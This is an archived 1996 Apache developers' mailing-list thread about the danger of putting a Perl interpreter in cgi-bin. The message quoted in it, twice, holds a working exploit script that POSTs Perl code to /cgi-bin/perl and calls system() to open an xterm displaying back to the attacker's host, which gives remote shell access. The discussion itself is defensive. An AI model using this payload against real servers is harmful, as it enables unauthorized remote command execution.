You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@httpd.apache.org by Tony Sanders <sa...@bsdi.com> on 1996/05/31 18:59:34 UTC
Re: Security interest
What I don't understand is why people are putting general purpose
interpreters in their webspace. That is just insane.
"Dirk.vanGulik" writes:
> Yup :-( it is true, we have to get serious on the setuid stuff
> I am afraid.
>
> #!/bin/sh
> telnet some-host-somewhere 80 <<"EOM"
> POST /cgi-bin/perl HTTP/1.0
> Referer: http://elect6:1080/cgi-bin/exploit.pl
> Connection: Keep-Alive
> User-Agent: Mozilla/3.0b4Gold (X11; I; SunOS 5.4 sun4m)
> Host: xyz:1080
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
> Content-type: application/x-www-form-urlencoded
> Content-length: 167
>
> $|=1;
> print "Content-type: text/html\n\n";
> print "This is a test.. and we are $< $>.\n";
> system("/usr/openwin/bin/xterm -display myhost:0.0&");
> print "until here";
> EOM
Re: Security interest
Posted by Cliff Skolnick <cl...@organic.com>.
On Fri, 31 May 1996, Tony Sanders wrote:
> What I don't understand is why people are putting general purpose
> interpreters in their webspace. That is just insane.
My thoughts exactly...
>
> "Dirk.vanGulik" writes:
> > Yup :-( it is true, we have to get serious on the setuid stuff
> > I am afraid.
> >
> > #!/bin/sh
> > telnet some-host-somewhere 80 <<"EOM"
> > POST /cgi-bin/perl HTTP/1.0
> > Referer: http://elect6:1080/cgi-bin/exploit.pl
> > Connection: Keep-Alive
> > User-Agent: Mozilla/3.0b4Gold (X11; I; SunOS 5.4 sun4m)
> > Host: xyz:1080
> > Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
> > Content-type: application/x-www-form-urlencoded
> > Content-length: 167
> >
> > $|=1;
> > print "Content-type: text/html\n\n";
> > print "This is a test.. and we are $< $>.\n";
> > system("/usr/openwin/bin/xterm -display myhost:0.0&");
> > print "until here";
> > EOM
>
--
Cliff Skolnick cliff@organic.com
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety." -- Benjamin Franklin, 1759